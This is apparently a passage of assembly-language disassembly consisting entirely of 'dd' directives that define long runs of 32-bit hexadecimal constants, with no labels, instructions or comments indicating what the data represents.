		dd 2289D907h, 0AE80F0Bh, 756421C0h, 87C7D2h, 8493C21Fh
		dd 547B885Ch, 670ECE03h, 0CEFDAC2Ch, 79BE00D9h,	3C738BFh
		dd 63B030E3h, 4EF7D716h, 420BC440h, 29691BFh, 87FDC303h
		dd 5468C9BAh, 8600564Fh, 96EAA65Bh, 78FC58AEh, 0A7FB3044h
		dd 1F938220h, 0DC782568h, 0A118D592h, 0F4FD0A9h, 13D84BBFh
		dd 0B5E80F80h, 277CF9F6h, 9707F178h, 0EF2CFE52h, 9B5BABA0h
		dd 0BFA2012Bh, 7C0D32FAh, 244440A6h, 3E6B629h, 9EEC1404h
		dd 7F0FFFB4h, 30A83360h, 0A0014F93h, 755EC2C9h,	1180D458h
		dd 0A7889E89h, 0E4003556h, 939CFE5Ch, 7CCCCE0Fh, 2ED31DDBh
		dd 8A09C05Fh, 83692AECh, 0D8536601h, 0DDB40EB6h, 9EB670h
		dd 0F8C79B55h, 58B22732h, 0E1D21900h, 0B9FF78A6h, 9BD41F87h
		dd 3630033h, 3BFB6FC2h,	2C41D91Ch, 0B0B383FCh, 0F5BC97h
		dd 31D28029h, 0AEB19487h, 79430100h, 0D6634A0Dh, 0B3770036h
		dd 66D1C29Ch, 0FA006EB7h, 0E29BD98Dh, 4990D5FEh, 0C07ACA69h
		dd 11D725E4h, 0DD003EBDh, 21E6D11Fh, 3D86FA3h, 1CD4913Dh
		dd 0D6A8DEEBh, 87003C66h, 41098A82h, 45EFA4h, 0E6021C0Dh
		dd 0DF2AFC77h, 60AF2933h, 0D08888B4h, 7AAF842h,	0EDFA046Dh
		dd 0C2ABC080h, 205EB5ADh, 0BD01DFE8h, 2551829Ch, 9B70802Bh
		dd 0A41C02CAh, 89BF0766h, 2C56DA0Dh, 0DF03ACD8h, 3762927Bh
		dd 0F10C03Fh, 4D1148AFh, 9133A402h, 0ADE02574h,	0B014DEEFh
		dd 7C98D7CEh, 29682C00h, 0BEC5B253h, 317363E3h,	2DC8D939h
		dd 55399BD3h, 256586D2h, 321ACFAh, 7FF5E613h, 41E97681h
		dd 1807ECD4h, 0DC00087Eh, 1DACD6C0h, 0A7A5FCh, 0EB6DC7EDh
		dd 2165D598h, 0CE3F5F00h, 54BC9356h, 0A30C0076h, 96FB9B7Ah
		dd 0D4240A42h, 15008EC6h, 0B7E17D56h, 0C0D500E9h, 9E437F5Ch
		dd 0D900954Dh, 26BED43Dh, 0EA1B98A1h, 6C370388h, 6097F342h
		dd 0E9E2F4A0h, 0DD028000h, 0A4D58CD4h, 61AE005Dh, 0C99AFB78h
		dd 0AD1896E5h, 0F478E875h, 7DA300CCh, 0BA1ED426h, 0BD1E98A2h
		dd 955F7421h, 81688C0h,	0C19413B8h, 0D73EBF61h,	0C7908083h
		dd 86E23BFAh, 6207069Ch, 197AB3E7h, 8096173Fh, 0E28373B4h
		dd 0E2ACDF25h, 30D70D2h, 7A7BB6CDh, 3EF12616h, 0DADC70F3h
		dd 0E139AD01h, 4A60B9F0h, 931E3840h, 0AC7F80AFh, 5EF03263h
		dd 86B988FDh, 24800FEh,	0D32515BBh, 9906F961h, 905F8703h
		dd 0E3E60040h, 16A619D1h, 0DF07BE6Ah, 21858EFCh, 10486CB0h
		dd 0D9AD0625h, 302AEB9Ah, 66051100h, 0E42064AAh, 0F19600DBh
		dd 378B3DE7h, 0A80092B6h, 0CA078021h, 0E999D058h, 3D30CDCh
		dd 5BECD449h, 8300526h,	0A86A21D9h, 6162170Ch, 0DD0803F5h
		dd 9EA3F027h, 0E0042100h, 0BD499ADCh, 2E935C6Eh, 110F5539h
		dd 0B301580Eh, 80A01D46h, 2A8E4818h, 28E65557h,	20100715h
		dd 50D8AB41h, 186B6A20h, 11CD97A0h, 1F0FD1F0h, 0C1F48952h
		dd 0BEA843CCh, 0C08F8ED0h, 0EA198220h, 77718895h, 0B337EC00h
		dd 84DE3EAFh, 0FEBE06BBh, 58CEDB6Fh, 82997421h,	8A361F8Dh
		dd 2C244C42h, 52005384h, 0F3B144B3h, 155E0E64h,	5785A3h
		dd 8FD52557h, 3B01A4B6h, 0DF810FD0h, 0B0429359h, 35230B2h
		dd 0E15D2504h, 92224A37h, 31A402Eh, 2E8ABAh, 0C7B8F0B9h
		dd 81A977ABh, 50106901h, 73A01691h, 3869048h, 60F36E17h
		dd 700587DEh, 0FAD90FC1h, 0BDB7A800h, 47532Bh, 0D284E035h
		dd 55B36295h, 3F613300h, 6DA027F8h, 989F3F2Fh, 0B188EF00h
		dd 0AEDD3B8h, 0F7F3E200h, 79D4905h, 5A92006Ch, 0BDD26AD5h
		dd 0D100B7ACh, 0A045C2D6h, 0E94D02h, 2932527Dh,	0C9DB33A6h
		dd 1EEED900h, 238613E4h, 4D2000F1h, 0B4610E48h,	570743C7h
		dd 5221D4AFh, 0F4081C46h, 6720C040h, 0D194500Ah, 0C2957600h
		dd 0A60C1D5Ch, 35F100AFh, 97492630h, 50C13827h,	345D377Eh
		dd 81311887h, 0C41D022h, 2301A379h, 1214C70Eh, 7ED3B5B6h
		dd 9C9A0130h, 0FE288685h, 0FF67C87Ah, 51C058E8h, 0FD9CF6C3h
		dd 0B6CF386Ah, 0FCD18A80h, 7A73234h, 7D73D51Ch,	0A39F4C40h
		dd 0C0FFDCEDh, 408A6139h
		dd 74A83CD5h, 230843ABh, 622234AFh, 63074749h, 0FB8F5730h
		dd 249C0F6Dh, 0DC00AC3h, 17529939h, 0C3F1318h, 86BF06C0h
		dd 8439A0C1h, 605CFC88h, 61BF003Fh, 66DE6FC7h, 433ED5EDh
		dd 0F3D20C16h, 3A7B0CEh, 7C6F644Fh, 1590A97Dh, 11C0784Bh
		dd 0F411BCD8h, 0AFA00012h, 6B5492DDh, 0F9003DF5h, 9B14A6B0h
		dd 8C4DB8h, 1E8678FEh, 0D19CF142h, 1F5F3700h, 8D0A71D9h
		dd 0DF121E34h, 42418048h, 0BB0CBC2Dh, 0B3E01372h, 6E03D301h
		dd 0CD17840Ah, 5F9FCh, 0B0A5A91Ch, 8E3D238Fh, 0AE058AECh
		dd 0B347192Ah, 4E0C4A81h, 8388CA40h, 0F73A00F2h, 0C93BF929h
		dd 0D100B1B9h, 11E3DBF1h, 1FF4AFh, 4998A079h, 60C0D6C8h
		dd 53753C16h, 1314E400h, 39DDA93h, 948C9683h, 0ED906004h
		dd 0CD3A3068h, 0D81C007Ah, 43C67CAAh, 893600B7h, 6C7DE744h
		dd 8E01A4EFh, 7BD3B9C7h, 8BAB01Fh, 0C2047B0h, 5500A4D7h
		dd 0F89CA54Bh, 0B4C793Fh, 7AAAC77Ch, 0EA4DE400h, 1A05C0A4h
		dd 0DA8A24D2h, 0C895FE01h, 20896452h, 220354E7h, 7F89797Dh
		dd 0E03821E4h, 0C907AF07h, 0B891F6EDh, 29BA8A81h, 0DE8FD2F0h
		dd 2D264020h, 36422127h, 0F9835D00h, 40C89866h,	88446DC3h
		dd 0D8A8B228h, 0A4EE3058h, 0C1C79311h, 1451684h, 22A4C349h
		dd 1C9DB9E0h, 816BD0ACh, 3864BF10h, 84284B7Ch, 0E6324761h
		dd 0A32DF960h, 87DD9F03h, 0C814FBAAh, 3CC58A2Bh, 8D01A2CFh
		dd 2F4CFEA0h, 0AB3DCC6Eh, 8C1D0900h, 0EE89E37Eh, 67E600CBh
		dd 0C79F8FAEh, 3D001ADCh, 3A92146Fh, 1F16D16Dh,	97BAB648h
		dd 0B3640090h, 32D49A2Fh, 72AE2303h, 0D858087Bh, 3809E354h
		dd 2B80051Eh, 93E8DBABh, 8601B413h, 0D5A53E40h,	0B0ECE36Fh
		dd 187A0F67h, 50E1883Ah, 20BC40D2h, 9800FCB0h, 0B0DBA420h
		dd 0E28A5F6Dh, 62010211h, 0C725E31Eh, 0E2E4DDE0h, 1F2B0400h
		dd 21A135E9h, 80CB0083h, 30628B42h, 920031E6h, 5AB6AD1h
		dd 61BEE218h, 2C281976h, 0F362E5CAh, 8E5A5800h,	0B955CB8Ch
		dd 81BA4837h, 40F30D1Dh, 7A62AFFBh, 9D0745B5h, 952EA9E8h
		dd 7B46501h, 0E137E440h, 89F6BBh, 20DFC596h, 5F1A84DCh
		dd 440DB200h, 12FBF11Eh, 8858015Eh, 15CE068h, 0A2D6C0CBh
		dd 338CBF1Bh, 4A33B779h, 34C001Eh, 0C13831F9h, 863340DDh
		dd 88E589E6h, 4941C7h, 0B4A0E12Ch, 0F3B5D07Dh, 0FB46B72Ch
		dd 0FE8D0E00h, 2408DB85h, 3FD7B73h, 0D066B028h,	71403DD8h
		dd 4AD8DE00h, 0BD60BEF2h, 20DF50h, 123E78CAh, 0F8BDDAB8h
		dd 9B463B3Bh, 0B3661500h, 702BCF40h, 651CC6Fh, 2180AF7h
		dd 4C51034Fh, 1DC10721h, 8A062062h, 0CF2AFA00h,	0C13B2C9h
		dd 0D9550091h, 8009EEC3h, 620EA554h, 0C08550DCh, 0D1990C0Eh
		dd 46AA485Eh, 0AEBFC400h, 0F57CF88Eh, 523250A0h, 1C3D0F00h
		dd 5EAB6E0Ah, 0FA8E176Fh, 15A000C9h, 1776941Eh,	0B1C51618h
		dd 6D2898h, 0BCBB7B32h,	2699C20h, 70769A07h, 9EB09F34h
		dd 1851F054h, 58410A91h, 0CF034B4Eh, 0F419E90Bh, 9BE10F67h
		dd 11402507h, 0B4B946CBh, 0F6C89A07h, 0AB450F3Fh, 3B9F80FFh
		dd 0A20042E8h, 0EEF1BF99h, 0E021685Fh, 9D101FCh, 0BC1F3743h
		dd 0A8EBF8B7h, 55E3C513h, 6215BB0h, 20B97647h, 0CE032189h
		dd 0D25FE20Dh, 717400C1h, 96ACBF2Ah, 23009492h,	7D99378Eh
		dd 76C5DD44h, 35800014h, 60B7CB72h, 49DFB164h, 0EA8A6500h
		dd 348805Dh, 0F8AF72A7h, 2100C7D1h, 9C50BB33h, 842DEFh
		dd 7C805CC8h, 407425B0h, 0E5C4D126h, 8795310Fh,	0DC4164C7h
		dd 2AB089C9h, 22E4B1F4h, 438B6900h, 0AE18D505h,	519500F7h
		dd 0CD326E6h, 4100CEB4h, 141613F1h, 44B072h, 549A2E1Bh
		dd 2817273Dh, 5DE5AD07h, 0CDD37D4Bh, 634C803Ch,	6D9F00F8h
		dd 0D241BDF0h, 5D00B7A1h, 2F3E9D4h, 3CD0D967h, 5303C119h
		dd 9A7AC3BBh, 0DEDA6900h, 12A73C7Bh, 45570054h,	0A247C706h
		dd 5000D560h, 0D1511A86h, 0CAD4B8h, 9E15BED8h, 39AF291Dh
		dd 0A7089F00h, 4A56017Dh, 0B8811866h, 846018A8h, 0EFB65000h
		dd 0E886428Fh, 0B1AD1C18h, 0E9E78014h, 0B4013304h, 0F4263805h
		dd 0BF873BD6h, 19FB203Fh, 6046869h, 0E6D89F77h,	4700B808h
		dd 23A1EABAh, 0DD13B8h,	6E1F0AEFh, 61A57C26h, 1D07FF7Eh
		dd 93D75A5Fh, 0C10E08C0h, 0E1701C4Fh, 9F87C0A9h, 359E1786h
		dd 0E87CF879h, 697D2800h, 0B34B02A1h, 0B8CC007Bh, 0F23CEB55h
		dd 0D207E4ADh, 1D91CA5Bh, 0F5E09780h, 0C60200D0h, 0A920E2C2h
		dd 0B732E860h, 80AD203Fh, 0FF8B3598h, 8F8500ACh, 3416AB5Fh
		dd 37004725h, 0D82E1959h, 7ADDE8h, 3118A0C9h, 0D9BFBC11h
		dd 0CE42DF14h, 8EC41FA7h, 22FF9D44h, 7EB0E9C1h,	7D8B3F4h
		dd 0B18D5AF0h, 0ADF15007h, 470091A1h, 1222C7DCh, 9E21C8h
		dd 6297A0A3h, 5A6ABDC0h, 7669E11Fh, 0F7519A04h,	490EB580h
		dd 0CBE80088h, 56A52387h, 840CA4E6h, 0C8A9D395h, 0B9C22AA1h
		dd 0CAB000A8h, 2AF4E335h, 0FC1F9E50h, 4A00A24Dh, 8EB5690Eh
		dd 0C0161CC3h, 0A715C2E4h, 0FAC0011Fh, 3E12D325h, 0B6009050h
		dd 0BC9D56F8h, 0CD7554h, 0B7790BF4h, 0FC960C7Eh, 5B52A000h
		dd 48750541h, 0A60303DAh, 0CC7CD1BDh, 400F1DA0h, 14ADEA00h
		dd 0ACAFC12h, 70D7468h,	9B1E8873h, 4D314369h, 49FDDE88h
		dd 0FA20BE07h, 2B4080F6h, 0EE5036CAh, 57C30121h, 150FD266h
		dd 164080FAh, 59DDF0B1h, 0B3EC070Eh, 0C0D3677Ch, 0F3A97FC8h
		dd 0C7ACA600h, 0DB7B5101h, 0CCBC3E80h, 0E2140F80h, 0EB235E0h
		dd 3E34A300h, 81BE5121h, 0CAE1FD5h, 0BD2C6AA9h,	73006ED8h
		dd 96251D0Bh, 0D9AF79Dh, 41674B37h, 7E94FC99h, 15DF8A00h
		dd 0A3ACCC77h, 2C7B33B9h, 990133A8h, 58D25388h,	18BBF4EAh
		dd 7472F81h, 0C47A30E3h, 23281EE1h, 0A32E8874h,	0B05F3ECh
		dd 982078BEh, 0D169EA8h, 0F8722D5Ah, 4B564078h,	0D000156Ah
		dd 33C3D28Dh, 2F5249h, 5AD17ABDh, 0D94CA8C8h, 0FB539203h
		dd 0C85D068Bh, 54678802h, 40462448h, 3100CB40h,	0ADD9E74Ch
		dd 0A8DDF745h, 0C7671BC4h, 0C0CDD5D1h, 0A239D111h, 1DBE8A00h
		dd 8EBD6F32h, 0CB1005EFh, 0C059BC0Dh, 453B5B7Fh, 0B7E5C519h
		dd 4ADC5FD8h, 7BEE48Bh,	0F8CE0C4Bh, 4E6DCF89h, 250040B6h
		dd 0B800B7A3h, 0B55219Dh, 0AA0F166h, 376DCAEAh,	0BF1FB8h
		dd 16E05CB5h, 3CFC5AEBh, 7FBD19C0h, 0E9F675h, 52246D6Ch
		dd 0ABAF9D64h, 0B8343800h, 0E7BC1C14h, 397D008Bh, 3543987Ah
		dd 0DD78C727h, 0B66F0D1Ah, 80548FA8h, 0A7FCE27Dh, 395001Dh
		dd 0F38B4014h, 23FB03Bh, 80A606CDh, 121C4Dh, 3872BCFAh
		dd 0DC2E9FDBh, 69B7CD00h, 6C829034h, 1AA6003Ch,	0C5C08B46h
		dd 0B4009D3Bh, 5901BD8Ah, 11471D8h, 0EDCBA7C3h,	809EB3E6h
		dd 2A241C10h, 1D44A988h, 40EBC2F2h, 0E7EEE398h,	0BD1B0EFBh
		dd 582A35h, 73A1C21h, 0B2804C6h, 7C6440C0h, 3D44EA2h, 84176D32h
		dd 2BA38F1Bh, 64042100h, 110821A2h, 78F685h, 2FF26B50h
		dd 0A18D5DDCh, 1AA90718h, 86054958h, 85F2FB00h,	23045AD4h
		dd 102F8935h, 0A263DFh,	0C51ED82Dh, 79DE0308h, 8B516D0Fh
		dd 0E4DD071Fh, 2777200h, 71360059h, 8616F18Eh, 6650A64Eh
		dd 4500E1A0h, 0C0225896h, 29F3BCh, 6D493D1Ch, 0F0B97125h
		dd 1ADA21Fh, 0AC588880h, 2D15A8h, 0FDA0B830h, 0BD1DF15Eh
		dd 2F209200h, 7F54D4C4h, 0EED300A8h, 6880DAE2h,	2600FAC1h
		dd 97190C5Dh
		dd 2FAC3Fh, 0BB6C03E0h,	3ACBA884h, 0CC514307h, 56D738D7h
		dd 645AE840h, 0BF6900E5h, 30982A46h, 0B20BB47Dh, 80CDD370h
		dd 0ABFB29A9h, 2F2258A3h, 77D85401h, 70681467h,	8300F339h
		dd 2BC85FFAh, 0F7A973Dh, 0D3CADA4Ah, 0F424C05Ch, 61FFD876h
		dd 0E21BBC00h, 0C3C7A2EEh, 0FA7718h, 4999BA16h,	9E72A47Eh
		dd 2500FDE6h, 0F7A74F67h, 13CD60Bh, 0ED469032h,	0E4BCA314h
		dd 0A8005357h, 33E79A4h, 6D8F7Bh, 321CFD13h, 6BE339CAh
		dd 2E0C4200h, 5AD7BFDBh, 0F80A1E80h, 4E0E81EDh,	0EC0306A7h
		dd 0B21D3E83h, 76C38F08h, 0D0BBABEAh, 55710h, 8E1766BEh
		dd 0DADFB690h, 0F2EA8B01h, 0F09A8DE5h, 703831FCh, 9B461F88h
		dd 0EE508755h, 3CC1D070h, 75003515h, 81BBFDBAh,	32B93D0h
		dd 9FF22496h, 0E5C021C5h, 0A13813D4h, 0EC007B52h, 71B14009h
		dd 3D0EAF36h, 5F3EF64Fh, 1290A919h, 70C980F7h, 5194B341h
		dd 49CE0052h, 5D634A25h, 9E246F81h, 960FCEFDh, 0AFF10042h
		dd 1F5743C3h, 1E04DC4Ah, 0D41F470Ah, 0ECBB612Bh, 130DEC4Ch
		dd 0D191B003h, 701EAB8Bh, 772F4470h, 0E0252028h, 0AC41C800h
		dd 7B4958AEh, 86320F6Eh, 5260E44Bh, 0C555DDD2h,	35145A03h
		dd 0C0162870h, 7363Dh, 538AE9B0h, 4F7A5280h, 3E98D300h
		dd 1055D869h, 7E538E7h,	31FF8E00h, 0A0337687h, 1CBEAE07h
		dd 0BB10281Ah, 7BF5B5FBh, 799100CFh, 739AB43Fh,	7701F735h
		dd 80DE718h, 0D2D45D33h, 22391C28h, 0C73A9C3Dh,	0E0B8E1C3h
		dd 69A5013Eh, 6A99DB00h, 70064A0Bh, 30AD0045h, 0F49A5CB0h
		dd 530038F6h, 3BA12F99h, 1DFFAFC9h, 40B137BBh, 7CD2E23Ch
		dd 8E00EFEAh, 84B9E3E5h, 30CC39h, 29A97816h, 0DCD7F2AFh
		dd 810054ECh, 921AFDD6h, 3A2101h, 97061710h, 0AC20C659h
		dd 0E1945650h, 2DA96700h, 123CC5Ah, 17BF822h, 0B107C880h
		dd 0CCE97343h, 0B603971Ch, 0F6E2B336h, 70E0B0F9h, 17BEE640h
		dd 162AD6ABh, 0B4BD1569h, 8400DA58h, 7CF9B30Dh,	41F06EE8h
		dd 9EF73702h, 0A2EA83F2h, 0C12632E8h, 0E880B399h, 5E285208h
		dd 78929738h, 0E1B5D60Fh, 12A30156h, 0F8873532h, 5066E716h
		dd 13B2B724h, 0FDBCEB00h, 0FF17C481h, 0B190005h, 8AC716A3h
		dd 5002CBB7h, 30DA0698h, 4CA7417Eh, 3E42E880h, 263D35Fh
		dd 720E8038h, 6D92CB01h, 0C44ECCD0h, 284DC4h, 687F4F5Fh
		dd 0F1905EE3h, 2E02BA77h, 122FC08Fh, 0BD9E8041h, 3AC666CDh
		dd 3F3F4F92h, 48062B80h, 0ACF52125h, 0AB3A0E03h, 8BE08B84h
		dd 0C22DD854h, 44371E47h, 94518049h, 90AA5025h,	114A8307h
		dd 84902C02h, 2D8573h, 3F04FF3Dh, 500887B1h, 8672A200h
		dd 4A8E0AD5h, 531C0097h, 87101825h, 5C00FEC4h, 6E11F668h
		dd 4F42C8h, 143AF773h, 0AB4D18F3h, 0EAE8F800h, 0BE33DF21h
		dd 8B980F16h, 42A3726Bh, 60D069FDh, 0BA007DF0h,	40A5875Bh
		dd 0A257A9h, 963E9FE7h,	7B08207Eh, 10E18B00h, 0FC65042Bh
		dd 4CACEABDh, 8E009091h, 3AAAF067h, 0DD3A071Dh,	0BDBBAC4Ah
		dd 6E867300h, 76E12Ah, 0FB5582D6h, 3675A0ECh, 880E603h
		dd 0A8F85D3Fh, 1C1063B7h, 40374050h, 0FABDFD7h,	2500BB39h
		dd 825FC4FFh, 24BF862Ch, 6010A25Dh, 789E63E8h, 0CE74Ch
		dd 0D6EC8023h, 0E05656Ah, 359C6BEDh, 89DA7460h,	58DF8341h
		dd 0C81C0460h, 91633165h, 0E8A85A64h, 0E400513Fh, 0F91286E3h
		dd 0F4CF35Dh, 97AFD074h, 0D623801Dh, 0EE94BC96h, 8076353Fh
		dd 65EF3C40h, 3E6DFAh, 77625570h, 4D0580CFh, 0B02D2B00h
		dd 9AA5327Bh, 0FE2700E9h, 206857E7h, 31072A0Ah,	0F8115BD8h
		dd 3D402990h, 601D0E35h, 52E3F499h, 0D28334C4h,	2A8F2FE8h
		dd 8E696E3Fh, 0A902F2F1h, 0A1EB80C7h, 932E49Ah,	1FB37B65h
		dd 0FB88E000h, 0DC0E982Bh, 0E1C42EF7h, 0DB1CAE53h, 0F4369884h
		dd 11CDC037h, 0A035242h, 62900C20h, 1C100202h, 9FEDEF1Eh
		dd 0A440D5E2h, 2200ABD8h, 15101F92h, 3FA59C0Ch,	2BA755B0h
		dd 5B1C9D50h, 0D5C086FFh, 9CA7C7DBh, 89080938h,	0E8D62DB5h
		dd 45918502h, 0E26C4053h, 8D5B009Dh, 255E6779h,	0B9005693h
		dd 0BB58F4C0h, 78E9E51Fh, 0F9FF0041h, 0DF57126h, 0CA307A53h
		dd 49605031h, 731C0023h, 6520A0F4h, 9300EB1Eh, 3D5737E4h
		dd 539439h, 15A3992Eh, 0EC294DABh, 91CD5500h, 0B5CF330h
		dd 5A1D6090h, 0A428D4CCh, 0C52E1800h, 34EBB3DEh, 0A66301EAh
		dd 1C138CE5h, 0AC38240Ch, 9BF628FAh, 55008890h,	992383A2h
		dd 0F84E4357h, 0DF060061h, 9B2969DEh, 72CDC6Eh,	1E80547Bh
		dd 1BCCD36Bh, 2BA7008Ah, 0B0F74C48h, 8B1233C2h,	50425029h
		dd 21BA23A4h, 0C492B3DCh, 0CB00974Bh, 0AFD88EB1h, 0E14119h
		dd 4D0E768h, 85E06791h,	3F9FD50Fh, 657AE47Dh, 3E21B4CAh
		dd 60E2D0h, 4891207Bh, 279F5C5Fh, 0DC221900h, 6A0C3A63h
		dd 9EB1005Ah, 897485CDh, 51F81879h, 81CB7B00h, 886A29E1h
		dd 3E2402D0h, 1D5DE6FCh, 40E83C48h, 0E4483100h,	73DD59D8h
		dd 7F3E16BCh, 0AEC501BFh, 0F467D503h, 6000365Ch, 84496A66h
		dd 0D0941Ch, 39BADBC8h,	0B0557DAFh, 0D800EF7Ah,	86BB3B5Dh
		dd 66B463h, 45C32279h, 0F643E844h, 296E9A00h, 0DDCEE2B5h
		dd 590D3E31h, 74829900h, 0BC8F004h, 0CD7E5B01h,	0EABDB96Dh
		dd 7AA00AC4h, 65C24F1h,	96B880E4h, 816B93A7h, 0F369B400h
		dd 0DBDCA8B3h, 0E9AE0A15h, 0DCD85Fh, 0E7259860h, 0F3FCA958h
		dd 1B348802h, 90131AD9h, 1E9A7B4h, 50DC90F1h, 2103416Ch
		dd 943D8B8h, 9C9ADE00h,	8A0CD8C2h, 929F05ABh, 805961A0h
		dd 1DE0D4CAh, 9A4C0600h, 5C2E417Eh, 0A0ED5C13h,	0FA87904h
		dd 0C2688097h, 3B1D498Bh, 0D08560D3h, 0F6C00DD4h, 0FA35A129h
		dd 0FF88C074h, 258FDFE6h, 89D44500h, 8BE8F16Dh,	0E868980Eh
		dd 0D11D0171h, 976A4ACh, 0E030149Ah, 3CE375h, 4F5DDE1Ah
		dd 2FB2F0FFh, 9C9C6250h, 0EDC38E00h, 26BF1C0Dh,	0C5413852h
		dd 8F922180h, 5E22BA74h, 0F6E55D00h, 4367C7C1h,	17450093h
		dd 0F4FCB237h, 0B5078FE6h, 35CFAA09h, 0B185A5A0h, 0CE43F8Bh
		dd 29E098AAh, 0D07334h,	7BCA5593h, 460413F6h, 0A3E88581h
		dd 0A75B9E80h, 152526C1h, 53D700ECh, 27051770h,	3426C090h
		dd 0DF029840h, 45E251C1h, 80D8218Ch, 0EE378203h, 9F54F770h
		dd 540BEF94h, 8435C19h,	0F5E5C4E8h, 42C50887h, 6000A41Dh
		dd 299032D6h, 747E000Ch, 0A8E57010h, 6513DCCFh,	0C805815Dh
		dd 0A4C0B4CAh, 8CE92Ch,	28161A5Eh, 96274583h, 86011E79h
		dd 95D8ACEEh, 0AD8DD5Bh, 0A72F28B3h, 38934CD4h,	9B34FDB0h
		dd 7A23990Ch, 52F036h, 8A82F3BFh, 6FA3D4C2h, 1E841838h
		dd 5B0EA001h, 0BD7F402Bh, 48870C86h, 0C638119Dh, 5E5E07Ch
		dd 9556EB96h, 0FD80FB2Eh, 1E9CBD29h, 0DE765822h, 0C99D7F17h
		dd 20F540F0h, 63548F2Ah, 6B826F00h, 0A4A2AAAEh,	15DD0043h
		dd 0F1DF9022h, 1B00BCD3h, 5062CF53h, 9681827h, 2A937825h
		dd 0DC1D280h, 6900C854h, 0E41A49Bh, 155651h, 0D9B31055h
		dd 5AC11C19h, 7E080C00h, 32A76DE4h, 4F650005h, 876BFE9Ah
		dd 0F4E0F71Eh, 80D6363Ah, 46A46C01h, 48D56E12h,	9A000080h
		dd 0D323610Bh, 0CF03BB33h, 0B8FC675Eh, 6FD6E0A4h, 0ED0200ADh
		dd 80E3A094h, 63F445BEh, 0FDE86000h, 0BF0D7290h, 1F5B00D7h
		dd 9E05F6Bh, 0FA0930F8h, 81B9FC70h, 5A640310h, 39B61420h
		dd 0DE50CADCh, 9FD300D7h
		dd 73037F67h, 20CEA456h, 161CD4DAh, 0E91D1A71h,	0B3250BC0h
		dd 7D47E0CFh, 804601AAh, 0A005FEEFh, 0AF2EC466h, 91D49203h
		dd 28F31AFDh, 0B0C5AC41h, 2B62062Dh, 188C39B4h,	0D7979000h
		dd 0E8F65892h, 7321CC0Dh, 0C9732740h, 0DA161815h, 15280490h
		dd 38C37F5Eh, 9460D0F5h, 6810006Ah, 9BCB248Bh, 21C053D0h
		dd 55DAE4F9h, 0D9B8C0ECh, 0C9C79F18h, 4100CDFAh, 4D356428h
		dd 3B4822h, 74CF7A06h, 3D25B50Fh, 0C61A8A00h, 5B0EDD34h
		dd 0BF912C5Dh, 602A00E9h, 2167D771h, 5600D871h,	5F72A3E2h
		dd 5C3E3A66h, 0D50243CDh, 0B8C02989h, 0DB85A760h, 0D003A6FAh
		dd 514ECEFDh, 0B2D9C8F1h, 97225197h, 9D808415h,	3AF7567Ch
		dd 0B6810C6Dh, 6EDEFF8Ch, 0B2D8505Bh, 2D01E8C6h, 0B3E05DCAh
		dd 8A50940Bh, 12624C92h, 2EC87Fh, 0E1D0E604h, 0BB3E9BDDh
		dd 80A5BDD7h, 880BC2D4h, 78B2B4Ah, 66741826h, 37E33E6Fh
		dd 8800D635h, 0C92449E7h, 9C9BB3h, 0DB8FE4Bh, 35C722E4h
		dd 0E31D7A12h, 9D62203h, 7DA8F095h, 0F9A107A5h,	40D9ADD4h
		dd 2B72F89Dh, 0B5F151C7h, 5DE884F0h, 3D96003Ah,	10CD7F7Eh
		dd 600AA28h, 735715E7h,	19013Eh, 2D2B83DCh, 30E09FF9h
		dd 5A08E4A0h, 3A70683Ah, 175F804Dh, 43942436h, 81BA02C7h
		dd 8E255674h, 8F221A40h, 60922CFEh, 3B0069E4h, 0D1675647h
		dd 3FD4DAA5h, 0F180E9F2h, 0D8EBF99Fh, 82772938h, 0A26FBA00h
		dd 0AC17A8EDh, 54BAE4h,	41484772h, 0DCCEC9EEh, 80443048h
		dd 0DDE36801h, 0CB390BCFh, 77009E59h, 0AC529C88h, 0E2AEA900h
		dd 31C704FCh, 41DA01BDh, 0BAFEA5DCh, 8035D1DBh,	6DE6421h
		dd 916BB0h, 0C870591Ah,	0A68A9EB5h, 7C512662h, 32FD1818h
		dd 0F1DA8708h, 448D64C9h, 23C2344Eh, 9EDFC0C0h,	7DDD00A1h
		dd 0C74870EAh, 0CF391418h, 0AE338FC2h, 16AB2034h, 0F12468A1h
		dd 0D15EF0h, 9D6FB6E9h,	0D777CD82h, 93D6FA18h, 0A23B20h
		dd 4EEF8ECCh, 0D32ACE3Ah, 3353E50Ch, 0D992581Bh, 18555948h
		dd 23BD7AC0h, 9A11676Fh, 0F64E0D00h, 0C8B90A02h, 4F81E505h
		dd 0A80022D3h, 0A0EFAF1Eh, 0B6491465h, 0ED0F9042h, 59C0CABEh
		dd 0E2EC3825h, 834006E4h, 51CE1E24h, 4856C401h,	46B3C3A8h
		dd 87F90818h, 1D776E90h, 4075BF35h, 7F052ECBh, 7600DD36h
		dd 0EF3DD317h, 819D64h,	0C380C1F7h, 4169E56Fh, 0B10096F6h
		dd 0D5521521h, 573518h,	0E67CE323h, 4DD4AD10h, 4466703h
		dd 0D85A6E28h, 72F2D8Bh, 0EE61514Bh, 0ED54D0C3h, 5575CA83h
		dd 2AEFC000h, 33808256h, 9AE21D3Ah, 973B8069h, 94AC93A4h
		dd 45039D00h, 0FD1D89ABh, 173C00D2h, 62CD4A35h,	390367EBh
		dd 0A1BEDDB2h, 3F52D8FFh, 6B280E2Fh, 6803625h, 8ED0597Bh
		dd 0BB070500h, 0EEB5956Fh, 76A7A34h, 635B2DD8h,	939EB07Eh
		dd 360E2428h, 82015A5Dh, 43207DC2h, 0D1C6E9E5h,	2FCFC0h
		dd 68791B76h, 2E036FC4h, 80B7D638h, 51925509h, 0A68610h
		dd 0A23F0E1Ah, 0E433FEFDh, 5E0FA307h, 11E0D8E6h, 0C0FAF67Eh
		dd 0ED2EB4D1h, 0C70014AFh, 0CC331A02h, 9F0B23h,	34E67D91h
		dd 6ED4E19Dh, 0B74BBA02h, 4048F916h, 988E0DBDh,	5E4E0F0Eh
		dd 738E5931h, 0CD7B0920h, 0D0007A44h, 0BA881C67h, 3572089h
		dd 81F22817h, 598B9FB7h, 3D38D800h, 0EC12BE63h,	997F301Ah
		dd 97CAB970h, 0EF0373Eh, 60CF3D56h, 0FD40E84Bh,	9E5F0038h
		dd 3B54E68Dh, 0AD2E2B35h, 0A70F90A3h, 0A105C069h, 1CB3FE07h
		dd 80B62E15h, 249079EEh, 8600B0C8h, 0F307A0E9h,	0F06D38A6h
		dd 28F9007Ch, 71FB3AE2h, 1A033684h, 422499E8h, 0CFAB910Dh
		dd 3BA91EC0h, 0DA805D29h, 1CB23D79h, 0D907BF48h, 51F18125h
		dd 0E75E8500h, 1E20CC94h, 0EC00B189h, 271CB3D9h, 0E484A42h
